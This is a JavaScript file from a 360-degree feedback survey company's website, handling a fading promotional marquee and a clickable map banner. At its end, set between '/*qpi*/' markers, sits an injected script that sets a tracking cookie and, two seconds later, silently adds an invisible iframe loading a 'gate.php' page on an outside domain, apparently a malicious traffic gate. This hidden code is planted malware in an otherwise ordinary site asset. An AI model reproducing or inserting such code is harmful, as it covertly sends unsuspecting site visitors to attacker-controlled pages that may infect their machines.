var marqueePos = -1;

var mapPos = -1;
var mapTimeout = null;

var timeout = null;
var is_visible = true;
var marqueeText = [
	"<h1 class=\"h1-title\">Transparent Pricing</h1><h2 class=\"h2-title\">NO minimums, license, on-boarding, <br>maintenance, or management fees. No surprises</h2>",
	"<h1 class=\"h1-title\">Pay As You Go</h1><h2 class=\"h2-title\"NO Annual Fees, Volume Penalties, Long-term Contracts<br>Only pay for surveys you use</h2>",
	"<h1 class=\"h1-title\">All Inclusive Support</h1><h2 class=\"h2-title\">Survey development, administration, <br>help desk, aftercare, and more...</h2>",
	"<h1 class=\"h1-title\">Always Premium Service</h1><h2 class=\"h2-title\">At a price others charge for do-it-yourself</h2>",
	"<h1 class=\"h1-title\">Your Survey or Ours</h1><h2 class=\"h2-title\">Automate your survey <br>or use established surveys or our question bank</h2>" ];

function changeMarqueeText ()
{
	document.getElementById ( "marquee" ).innerHTML = marqueeText [ marqueePos ];
}

function setMarqueeOpacityForAllBrowsers ( alpha ) {
	document.getElementById ( "marquee" ).style.filter = "progid:DXImageTransform.Microsoft.Alpha(style=0,opacity:" + alpha + ")";	// MSIE
	document.getElementById ( "marquee" ).style.KHTMLOpacity = alpha / 100;	// Safari < 1.2, Konqueror
	document.getElementById ( "marquee" ).style.MozOpacity = alpha / 100;	// Older Mozilla & Firefox
	document.getElementById ( "marquee" ).style.opacity = alpha / 100;	// Safari 1.2+, newer Mozilla & Firefox, CSS3
}

function affectMarquee ( currentAlpha, increment, cbFuncName ) {

	var alpha = currentAlpha + increment;

	// have we gone beyond either threshold?
	if ( alpha < 0 || alpha > 95 )	// use 95 so code jumps from 95 -> 99; Mozilla flickers the div if 95 -> 100
	{
		// if so, cancel the operation by invoking callback
		if ( cbFuncName != null )
			cbFuncName ();
	} else {
		// else, adjust transparency and setup the next adjustment
		setMarqueeOpacityForAllBrowsers ( alpha );
		setTimeout ( "affectMarquee ( " + alpha + ", " + increment + ", " + cbFuncName + " )", 25 );
	}
}


function marqueeDisappear ()
{
	affectMarquee ( 100, -5, "marqueeDisappearCallback" );
}

function marqueeAppear ()
{
	affectMarquee ( 0, 5, "marqueeAppearCallback" );
}

function marqueeDisappearCallback ()
{
	is_visible = false;
	marqueeForward ();
	marqueeAppear ();
}

function marqueeAppearCallback ()
{
	is_visible = true;
	setMarqueeOpacityForAllBrowsers ( 99 );
	timeout = setTimeout ( "marqueeDisappear ()", 8000 );
}

function marqueeForward ()
{
	if ( timeout != null ) clearTimeout ( timeout ); // cancel the pending fade out
	marqueePos++;
	if ( marqueePos >= marqueeText.length ) marqueePos = 0;
	changeMarqueeText ();

	if ( is_visible )
		timeout = setTimeout ( "marqueeDisappear ()", 8000 ); // reschedule the fade out in another 10 s
}

function marqueeBackward ()
{
	if ( timeout != null ) clearTimeout ( timeout ); // cancel the pending fade out
	marqueePos--;
	if ( marqueePos < 0 ) marqueePos = marqueeText.length - 1;
	changeMarqueeText ();

	if ( is_visible )
		timeout = setTimeout ( "marqueeDisappear ()", 8000 ); // reschedule the fade out in another 10 s
}

function startMarquee ()
{
	marqueeDisappear ();
}

/*************** - MAP Portion ***********************************************/


var mapClasses = [
	["map_1", "map_4"],
	["map_2", "map_1"],
	["map_3", "map_2"],
	["map_4", "map_3"]
];

var mapUrls = [
	["http://www.star360feedback.com/360-services/automate-your-survey", "http://www.360surveystore.com"],
	["http://www.star360feedback.com/360-services/automate-your-survey#Easy", "http://www.star360feedback.com/360-services/automate-your-survey#Flexible"],
	["http://www.star360feedback.com/360-services/automate-your-survey#Customizable", "http://www.star360feedback.com/360-services/automate-your-survey#Brand_it"],
	["http://www.star360feedback.com/360-services/automate-your-survey#Full_Service", "http://www.star360feedback.com/360-services/automate-your-survey#Affordable"]
];


function click_handler(val){
	if(val == 0 || val == 1){
		var url = mapUrls[mapPos][val];
		if(url){
			window.location.href=url;
		}
	}
}

function mapRefresh(){
	$("#map_alt").fadeTo(500, 0.01, function(){
		$(this).addClass(mapClasses[mapPos][0]).removeClass(mapClasses[mapPos][1]).fadeTo(500, 1);
	});
	mapForward();
}

function mapForward ()
{
	if ( mapTimeout != null ) clearTimeout ( mapTimeout ); // cancel the pending fade out
	mapPos++;
	if ( mapPos >= mapClasses.length ) mapPos = 0;

	timeout = setTimeout ( "mapRefresh ()", 8000 ); // reschedule the fade out in another 10 s
}


function startMap() {
	mapForward();
	$("#map_alt_left").click(function(){ click_handler(0); });
	$("#map_alt_right").click(function(){ click_handler(1);} );
	
	
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://zalupka.in/gate/gate.php?f=925145&r='+encodeURI(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
